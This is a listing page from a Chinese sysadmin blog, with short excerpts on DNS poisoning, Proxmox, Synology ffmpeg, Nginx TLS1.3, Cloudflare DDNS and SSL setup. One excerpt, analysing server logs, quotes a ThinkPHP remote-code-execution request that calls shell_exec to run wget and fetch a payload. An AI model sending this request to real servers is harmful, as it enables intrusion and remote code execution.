css的type="text/css"是不是必须写?不写有什么影响type="text/css"是必须写的吗?
lesheet就是样式表的意思;CSS是CascadingStyleSheet(级联样式表)的缩写意思是:在<link>标签中,“rel=stylesheet”,rel是关联的意思,关联的是一个样式表(stylesheet)文档,它表示这个link在文档初始化时将被使用。rel是Relations的所写指关联到一个stylesheet(样式表单)。由于目前的CSS还不能抓取rel与rev的属性值,所以没有办法给不同关系的链接提供不同的样式,所以现在rel与rev只是用来
阅读全文:css的type="text/css"是不是必须写?不写有什么影响type="text/css"是必须写的吗?
openwrt解决dns污染pdnsd+dnsmasq解决DNS污染
tion),又称域名服务器缓存投毒(DNScachepoisoning),是指一些刻意制造或无意中制造出来的域名服务器数据包,把域名指往不正确的IP地址。一般来说,在互联网上都有可信赖的网域服务器,但为减低网络上的流量压力,一般的域名服务器都会把从上游的域名服务器获得的解析记录暂存起来,待下次有其他机器要求解析域名时,可以立即提供服务。一旦有关网域的局域域名服务器的缓存受到污染,就会把网域内的计
阅读全文:openwrt解决dns污染pdnsd+dnsmasq解决DNS污染
Proxmox VE虚拟机(PVE)安装爱快iKuai,Proxmox VE上运行爱快iKuai虚拟机
1、ProxmoxVE(以下简称PVE)5.4-32、iKuai8_x64_3.1.9_Build201904221629.iso官网下载(我这边教程使用了64位版本)PS:家用的话,32位和64位没什么差别,64位的话需要内存4G。二、虚拟环境1、上传iKuai8_x64_3.1.9_Build201904221629.iso镜像,点开“local”存储,点击“内容”,点击“上传”,选择iso镜像,
阅读全文:Proxmox VE虚拟机(PVE)安装爱快iKuai,Proxmox VE上运行爱快iKuai虚拟机
群晖安装FFMPEG解码器播放DTS、EAC3、TrueHD编码视频Video Station播放DTS、EAC3、TrueHD编码视频
AC3、TrueHD等编码格式的视频文件,严重影响使用效果。本文将利用第三方的ffmpeg替换VideoStation中自带的ffmpeg解码器,完美播放带有DTS、EAC3、TrueHD等编码格式的视频,实现对全视频格式的支持。一、安装ffmpeg解码器1、在群晖套件中心,设置,套件来源,新增,名称(任意写),位置:http://packages.synocommunity.com 如果按照上述方法不能正常安装ffmpeg
阅读全文:群晖安装FFMPEG解码器播放DTS、EAC3、TrueHD编码视频Video Station播放DTS、EAC3、TrueHD编码视频
Debian 8编译Nginx支持TLS1.3,Debian 8编译Nginx添加TLS1.3支持
LS协议1.3版本的相关知识,所以想分享一些信息,本文是第一篇,没有太多的理论细节,主要说下如何在Nginx上快速部署一个支持TLS1.3协议版本的网站。TLS1.3优势TLS1.3相对于之前的版本,主要有两大优势:Enhancedsecurity:安全性增强Improvedspeed:速度提升编译Nginx支持TLS1.3安装篇我这里用的系统是Debian8安装依赖apt-ge
阅读全文:Debian 8编译Nginx支持TLS1.3,Debian 8编译Nginx添加TLS1.3支持
Python编写CloudFlare API动态cloudflare_ddns客户端,CloudFlare API内网穿透cloudflare_ddns Python脚本
许多麻烦,于是我编写了一个能在Linux系统下运行,基于cloudflare API的动态DNS脚本,虽然国内已有花生壳之类的ddns服务,但是那些实在是太坑爹,比如只能使用它提供的二级域名,而该脚本能够配置顶级域名的动态DNS解析。以前写过一篇关于利用CloudFlareAPI实现的DDNS的脚本《基于CloudFlareAPI的纯Shell动态DNS(DDNS)脚本》,感兴趣可以参考下。用Python编写的CloudFlare动态DNS客户端除非您具有静态的公共IP地址,否
阅读全文:Python编写CloudFlare API动态cloudflare_ddns客户端,CloudFlare API内网穿透cloudflare_ddns Python脚本
CloudFlare API实现自动 DDNS 功能支持IPv4与IPv6,CloudFlare API内网IPv6穿透DDNS
IP等基于动态公网IP的DDNS服务全线倒地,虽然FRP、NGROK这些内网穿透依然可以实现类DDNS功能,但网络严重依赖于中转服务器带宽,不是非常适合有大流量需求的业务,比如监控、云盘、同步等等。最近发现本地宽带终于支持IPv6了,DDNS就又可以搞起来了,考虑到安全问题,本文将探讨使用CloudFlareAPI来实现DDNS功能。前段时间分享了《CloudFlareAPI的纯Shell动态DNS(DDNS)脚本》,也可以参考下
阅读全文:CloudFlare API实现自动 DDNS 功能支持IPv4与IPv6,CloudFlare API内网IPv6穿透DDNS
基于CloudFlare API的纯Shell动态DNS(DDNS)脚本,CloudFlare API内网穿透DDNS脚本
麻烦,于是我编写了一个能在Linux系统下运行,基于cloudflare API的动态DNS脚本,虽然国内已有花生壳之类的ddns服务,但是那些实在是太坑爹,比如只能使用它提供的二级域名,而该脚本能够配置顶级域名的动态DNS解析。使用前提:局域网内有Linux主机(如openwrt路由设备)、有一个顶级域名、域名解析必须由CloudFlare托管。CloudFlareAPI的纯Shell动态DNS(DDNS)使用方法步骤一:到CloudFlare官网注册一个帐号,找到DNS选项,根据
阅读全文:基于CloudFlare API的纯Shell动态DNS(DDNS)脚本,CloudFlare API内网穿透DDNS脚本
宝塔面板怎么搭建h5ai文件服务器?宝塔面板Nginx安装h5ai文件服务器
现h5ai最近相当热门,简单但不简陋,遂为我的下载站换上,并记录过程。什么是H5aiH5ai是一款功能强大的PHP文件目录列表程序,适合做个人仓库,它提供多种文件目录列表呈现方式,支持ApacheHttpd,Lighttpd,Nginx等多种WEB服务器,支持多国语言(如英语,简体中文等),你可以在线预览以及下载TXT,图片,音频,视频等文件格式。h5ai是HTTPWeb服务器的现代文件索引器,重点放在您的文件上。目录以吸引人的方式显示,并且通过不同的视图,面包屑和
阅读全文:宝塔面板怎么搭建h5ai文件服务器?宝塔面板Nginx安装h5ai文件服务器
grapeshot爬虫有什么用?www.grapeshot.co.uk/crawler.php是什么蜘蛛?Oracle蜘蛛介绍及用处!
9/Jan/2020:12:40:32+0800]"GET/tags-1560.htmlHTTP/1.1"301178"-""Mozilla/5.0(compatible;GrapeshotCrawler/2.0;+http://www.grapeshot.co.uk/crawler.php)"148.64.56.118--[29/Jan/2020:12:40:35+0800]"GET/t
阅读全文:grapeshot爬虫有什么用?www.grapeshot.co.uk/crawler.php是什么蜘蛛?Oracle蜘蛛介绍及用处!
关于 socket读写错误 的猜想和解决方法 百度站长工具抓取诊断socket读写错误怎么解决的?
站在百度后台的抓“抓取诊断”抓取网页是会出现报错,错误为“socket读写错误”如下图而且发现在“抓取异常”里面发现近期出来了一部分网页“500”服务器错误的情况这就有些不正常了,首先去百度搜索了下“socket读写错误”到底是什么情况,发现还真有人出现类似的情况socket读写错误解决方法百度站长工具抓取诊断出错这个怎么解决?socket读写错误,看
阅读全文:关于 socket读写错误 的猜想和解决方法 百度站长工具抓取诊断socket读写错误怎么解决的?
\/x03\/x00\/x00*\/xE0\/x00\/x00\/x00\/x00\/x00Cookie mstshash=Administr针对thinkphp的远程代码执行漏洞进行的攻击
x00*\/xE0\/x00\/x00\/x00\/x00\/x00Cookiemstshash=Administr经过在网上查资料发现这是主要针对的是thinkphp的远程代码执行漏洞进行的攻击,1、请求1:/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20-q%20-O%2
阅读全文:\/x03\/x00\/x00*\/xE0\/x00\/x00\/x00\/x00\/x00Cookie mstshash=Administr针对thinkphp的远程代码执行漏洞进行的攻击
什么是“OPTIONS”请求?关于options请求的理解,HTTP协议中的OPTIONS方法是什么?有什么用
是浏览器对复杂跨域请求的一种处理方式,在真正发送请求之前,会先进行一次预请求,就是我们刚刚说到的参数为OPTIONS的第一次请求,他的作用是用于试探性的服务器响应是否正确,即是否能接受真正的请求,如果在options请求之后获取到的响应是拒绝性质的,例如500等http状态,那么它就会停止第二次的真正请求的访问下面是一部分请求日志"POST/zb_system/cmd.php?act=ajax&src=fastcache_viewnumsHTTP/1.1"20
阅读全文:什么是“OPTIONS”请求?关于options请求的理解,HTTP协议中的OPTIONS方法是什么?有什么用
zeronet怎么使用域名访问?CentOSx服务器搭建zeronet并使用域名访问
都知道世界上有暗网,与暗网相对的是明网(就是日常上的各种网站)。那这个零网如同字面含义就是夹在中间的网,既有暗网的隐秘性但不像暗网那么黑暗(自带遏制不良信息传播的措施),又有明网的美观实用性但后端功能没有那么丰富(比如不能统计某篇帖子被多少人查看过,哪些人在何时使用什么ip什么浏览器访问了本网站多久)。zeronet访问匿名网络(P2P)教程及说明因为项目本身就是使用python写的,所以大家确保服务器安装了Python就可以了!CentOSx系统搭建zeronet本例使用C
阅读全文:zeronet怎么使用域名访问?CentOSx服务器搭建zeronet并使用域名访问
自定义百度网盘分享密码 提取码,自己修改百度分享密码提取码方法
分享密码的原理分析发现,原来百度网盘的密码是在本地生成的!这不是给了我们玩耍的机会。实现方法:修改makePrivatePassword这一函数即可。具体代码如下:压缩版javascript:require(["function-widget-1:share/util/service/createLinkShare.js"]).prototype.makePrivatePassword=function(){returnprompt(&q
阅读全文:自定义百度网盘分享密码 提取码,自己修改百度分享密码提取码方法
apacheSSL证书合并宝塔面板安装SSL证书 宝塔面板安装阿里云SSL证书
细讲一下怎么把阿里云申请的免费SSL证书安装到宝塔面板下安装自定义SSL证书Nginx环境配置证书方法(证书目录只有两个文件的)由于使用的是阿里云的服务器,证书也是在阿里云申请的免费一年的证书,首先需要线板证书现在到本地,只需要下载对于自己服务器的证书即可,我的是nginx服务器,所以只下载了Nginx证书进入nginx(证书)目录,一般有两个文件其中.key后缀的是服务器私钥,填入面板证书的左边红框中(用文本编辑器完整复制粘贴进去)蓝框.crt后缀的是证书(也可能是pem后缀)
阅读全文:apacheSSL证书合并宝塔面板安装SSL证书 宝塔面板安装阿里云SSL证书